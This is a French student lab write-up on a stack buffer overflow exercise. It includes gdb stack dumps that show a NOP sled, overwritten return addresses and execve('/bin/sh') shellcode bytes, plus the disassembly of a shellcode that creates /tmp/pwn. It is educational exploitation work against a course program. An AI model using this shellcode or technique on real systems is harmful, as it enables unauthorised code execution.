195 lines
7 KiB
Markdown
195 lines
7 KiB
Markdown
---
|
||
title: "Sécurité logicielle : TD5 stack overflow et shellcode"
|
||
date: 2023-02-17
|
||
tags: ["Assembleur", "x86"]
|
||
author:
|
||
- Yorick Barbanneau
|
||
- Gwendal Aupee
|
||
categories: ["Sécurité logicielle", "TD"]
|
||
---
|
||
|
||
## Partie 1
|
||
|
||
Avec l'aide de `pframe`, nous pouvons voir que lorsque notre boucle itère pour
|
||
la onzième fois, l'affectation `t[11]` écrase `i` et le remet à 0. A ce moment
|
||
notre boucle reviens à départ; une boucle infinie se produit alors. C'est la
|
||
conséquence du *buffer overflow* causée par une mauvaise maitrise des boucles et
|
||
variables associées.
|
||
|
||
## Partie 2
|
||
|
||
### question 1 et 2
|
||
|
||
Effectivement le code vu en cours est repris dans cet exemple. Nous sommes
|
||
cependant en présence de code *C* avec du code assembleur directement écrit en
|
||
*hexadécimal*.
|
||
|
||
L'exploit est prévu pour fonctinner en assembleur x86_32 et x86_64 avec la
|
||
présence d'une macro afin de positionner les instructions adaptée dans la
|
||
variable `exploit`:
|
||
|
||
```c
|
||
|
||
unsigned char exploit[1024] = {
|
||
|
||
#ifdef __x86_64__
|
||
/* 64 bit version */
|
||
// [...]
|
||
0x0f, 0x05, // system call!
|
||
#else
|
||
/* 32 bit version */
|
||
// [...]
|
||
0xcd, 0x80, // system call!
|
||
#endif
|
||
};
|
||
```
|
||
|
||
|
||
### question 4
|
||
|
||
Lors de l'execution de notre attache en l'observant avec gdb, nous pouvons
|
||
clairement les éléments de notre attaque : les éléments de la pile contenant les
|
||
adresses vers notre *shellcode*, les padding avec des `nop` et le *shellcode*.
|
||
|
||
Avant la saisir par l'utilisateur dans `anodin` voici la pile:
|
||
|
||
```
|
||
0x7fffffffe520 0x00007fffffffe610
|
||
0x7fffffffe518 0x00007ffff7dff18a
|
||
0x7fffffffe510 0x0000000000000001
|
||
0x7fffffffe508 ... 0x00007ffff7ffdad0
|
||
0x7fffffffe500 arg3 0x0000000000000000
|
||
0x7fffffffe4f8 arg2 0x00000001f7fe6e10
|
||
0x7fffffffe4f0 arg1 0x00007fffffffe628
|
||
0x7fffffffe4e8 ret@ 0x00005555555551e8
|
||
0x7fffffffe4e0 bp 0x00007fffffffe510
|
||
0x7fffffffe4d8 0x0000000000000000
|
||
0x7fffffffe4d0 0x0000000000000000
|
||
0x7fffffffe4c8 0x0000000000000000
|
||
0x7fffffffe4c0 0x0000000000000000
|
||
0x7fffffffe4b8 0x0000000000000000
|
||
0x7fffffffe4b0 0x0000000000000040
|
||
0x7fffffffe4a8 0x000000000000000c
|
||
0x7fffffffe4a0 0x0000000000000000
|
||
0x7fffffffe498 0x0000000000000040
|
||
0x7fffffffe490 sp 0x0000000000000004
|
||
0x7fffffffe488 0x00005555555551af
|
||
0x7fffffffe480 0x00007fffffffe4e0
|
||
```
|
||
|
||
Après la saisie l'utilisateur, et donc **l'injection du code par `exploit`** la
|
||
pile a un tout autre aspect. On voit bien l'action de la "*mitraillette*" sur
|
||
le bas de la pile avec l'adresse de retour.
|
||
|
||
```
|
||
0x7fffffffe520 0x0000000000000000
|
||
0x7fffffffe518 0x0000000000000000
|
||
0x7fffffffe510 0x0000000000000000
|
||
0x7fffffffe508 0x00007fffffffe498
|
||
0x7fffffffe500 0x00007fffffffe498
|
||
0x7fffffffe4f8 0x00007fffffffe498
|
||
0x7fffffffe4f0 0x00007fffffffe498
|
||
0x7fffffffe4e8 ret@ 0x00007fffffffe498
|
||
0x7fffffffe4e0 bp 0x00007fffffffe498
|
||
0x7fffffffe4d8 0x00007fffffffe498
|
||
0x7fffffffe4d0 0x00007fffffffe498 ; mitraillette enclenchée!
|
||
0x7fffffffe4c8 0x0000000000000000
|
||
0x7fffffffe4c0 0x0000000000000000
|
||
0x7fffffffe4b8 0x050fe6894857e289
|
||
0x7fffffffe4b0 0x48006a0000003bc0
|
||
0x7fffffffe4a8 0xc7485f0068732f6e
|
||
0x7fffffffe4a0 0x69622f00000008e8 ; début de notre shellcode
|
||
0x7fffffffe498 0x9090909090909090 ; nop
|
||
0x7fffffffe490 sp 0x9090909090909090 ; nop
|
||
0x7fffffffe488 0x00005555555551c0
|
||
0x7fffffffe480 0x00007fffffffe638
|
||
; [...]
|
||
```
|
||
|
||
On voit aussi apparaitre notre *Instruction Pointer* dans la pile lorsque notre
|
||
shellcode est exécuté. Les différents paramètres pour **l'appel système** se
|
||
mettent alors en places.
|
||
|
||
```
|
||
0x7fffffffe4f0 sp 0x00007fffffffe498
|
||
0x7fffffffe4e8 0x00007fffffffe498
|
||
0x7fffffffe4e0 0x00007fffffffe498
|
||
0x7fffffffe4d8 0x00000000ffffe498
|
||
0x7fffffffe4d0 0x00007fffffffe498
|
||
0x7fffffffe4c8 0x0000000000000000
|
||
0x7fffffffe4c0 0x0000000000000000
|
||
0x7fffffffe4b8 0x050fe6894857e289
|
||
0x7fffffffe4b0 0x48006a0000003bc0
|
||
0x7fffffffe4a8 0xc7485f0068732f6e
|
||
0x7fffffffe4a0 0x69622f00000008e8
|
||
0x7fffffffe498 ip bp 0x9090909090909090
|
||
0x7fffffffe490 0x9090909090909090
|
||
0x7fffffffe488 0x00005555555551cc
|
||
0x7fffffffe480 0x0000000000000003
|
||
```
|
||
Voici les éléments de notre `exploit` qui se retrouvent dans la pile, les
|
||
diférentes parties sont délimitées par des crochets:
|
||
```
|
||
0x7fffffffe4b8 0x[050f] e6894857e289 ; 4
|
||
0x7fffffffe4b0 0x48006a000000 [3b] c0 ; 3
|
||
0x7fffffffe4a8 0xc7485f0068732f6e
|
||
0x7fffffffe4a0 0x69622f [00000008e8] ; 2
|
||
0x7fffffffe498 ip bp 0x9090909090909090 ; 1
|
||
```
|
||
|
||
1. piste d'atterrissage de l'exploit preparée avec des `nop`
|
||
2. placement en mémoire de notre chaine `/bin/sh`
|
||
3. le numéro d'appel système pour `execve` (59 ou *0x3b*)
|
||
4. lancement de notre appel système
|
||
|
||
Lors de l'instruction pas à pas du code assembleur, nous pouvons observer la
|
||
mise en place des arguments de notre appel système dans les différents
|
||
registres, notamment *0x3b* dans `rax`.
|
||
|
||
## question 3
|
||
|
||
Lors de l'exécution du `strace` sur notre exécutable `shellcode` nous voyons
|
||
bien apparaitre les deux appels systèmes `creat` et `exit`:
|
||
|
||
```
|
||
execve("./shellcode", ["./shellcode"], 0x7ffd7e08f160 /* 44 vars */) = 0
|
||
creat("/tmp/pwn", 0666) = 3
|
||
exit(42) = ?
|
||
+++ exited with 42 +++
|
||
```
|
||
|
||
L'exécution d'`objdumb -d -x` afin d'afficher les adresses des constantes nous
|
||
permet de vois que c'est bien l'adresse de `filename` qui est placée dans `%rdi`
|
||
avant d'appeler `creat` (appel système `0x55`).
|
||
|
||
```
|
||
[...]
|
||
SYMBOL TABLE:
|
||
0000000000402000 g .data 0000000000000000 filename
|
||
0000000000401000 g .text 0000000000000000 _start
|
||
0000000000402009 g .data 0000000000000000 __bss_start
|
||
0000000000402009 g .data 0000000000000000 _edata
|
||
0000000000402010 g .data 0000000000000000 _end
|
||
|
||
Déassemblage de la section .text :
|
||
|
||
0000000000401000 <_start>:
|
||
401000: 48 c7 c6 b6 01 00 00 mov $0x1b6,%rsi
|
||
401007: 48 c7 c7 00 20 40 00 mov $0x402000,%rdi
|
||
40100e: 48 c7 c0 55 00 00 00 mov $0x55,%rax
|
||
401015: 0f 05 syscall
|
||
401017: 48 c7 c7 2a 00 00 00 mov $0x2a,%rdi
|
||
40101e: 48 c7 c0 3c 00 00 00 mov $0x3c,%rax
|
||
401025: 0f 05 syscall
|
||
```
|
||
|
||
Une fois `shellcode.S` modifié et compilé, nous avons extrait les **opcodes**
|
||
avec une cible de notre `Makefile`. Cette cible créée un fichier `opcode.txt`
|
||
prêt à importer dans notre code `C`.
|
||
|
||
Avec cette méthode, nous n'avons pas à nous soucier de *l'abréviation* des 0
|
||
par `objdump`. Et en plus on évite les erreurs de saisie.
|
||
|
||
Après l'incorporation de notre *shellcode* dans le fichier `exploit-test.c`, sa
|
||
compilation et son execution, le fichier `/tmp/pwn` est bien créé.
|
||
|